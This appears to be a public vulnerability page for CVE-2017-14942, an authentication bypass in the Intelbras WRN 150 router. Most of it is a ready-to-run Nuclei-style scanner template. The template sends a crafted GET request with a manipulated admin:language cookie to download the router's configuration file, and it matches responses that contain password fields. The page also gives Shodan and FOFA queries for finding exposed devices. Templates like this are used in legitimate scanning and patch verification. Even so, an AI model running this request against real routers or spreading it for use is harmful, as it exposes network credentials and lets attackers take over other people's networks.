CVE-2017-14942: Intelbras WRN 150 - Authentication Bypass

2025-08-01 Intelbras WRN 150 PoC Public

Description

Intelbras WRN 150 router is vulnerable to authentication bypass through cookie manipulation. An attacker can bypass authentication and download the router configuration file by manipulating the admin:language cookie.

PoC

id: CVE-2017-14942

info:
  name: Intelbras WRN 150 - Authentication Bypass
  author: ritikchaddha
  severity: critical
  description: |
    Intelbras WRN 150 router is vulnerable to authentication bypass through cookie manipulation. An attacker can bypass authentication and download the router configuration file by manipulating the admin:language cookie.
  impact: |
    Attackers can bypass authentication and download the router configuration file containing credentials, network settings, and sensitive information, potentially leading to complete network compromise.
  remediation: |
    Update the router firmware to the latest version.
  reference:
    - https://www.exploit-db.com/exploits/42916
    - https://nvd.nist.gov/vuln/detail/CVE-2017-14942
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-14942
    cwe-id: CWE-552
    epss-score: 0.60857
    epss-percentile: 0.99107
    cpe: cpe:2.3:h:intelbras:wrn150:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: intelbras
    product: wrn150
    shodan-query: html:"WRN150"
    fofa-query: title="WRN150"
  tags: cve,cve2017,intelbras,auth-bypass,router,vuln

http:
  - raw:
      - |
        GET /cgi-bin/DownloadCfg/RouterCfm.cfg HTTP/1.1
        Host: {{Hostname}}
        Cookie: admin:language=pt

    matchers:
      - type: dsl
        dsl:
          - "contains(content_type, 'config/conf')"
          - "contains_all(body, 'wl_', '_passwd')"
          - "status_code==200"
        condition: and
# digest: 4b0a0048304602210098753e524e1a5b8f339205e343ef14623dd1451a7d4a4e015eddfe47446001b9022100d90e8a602a98b4a7b5eaa69672741e6f3b60137800d425dfeed7a183d718ac47:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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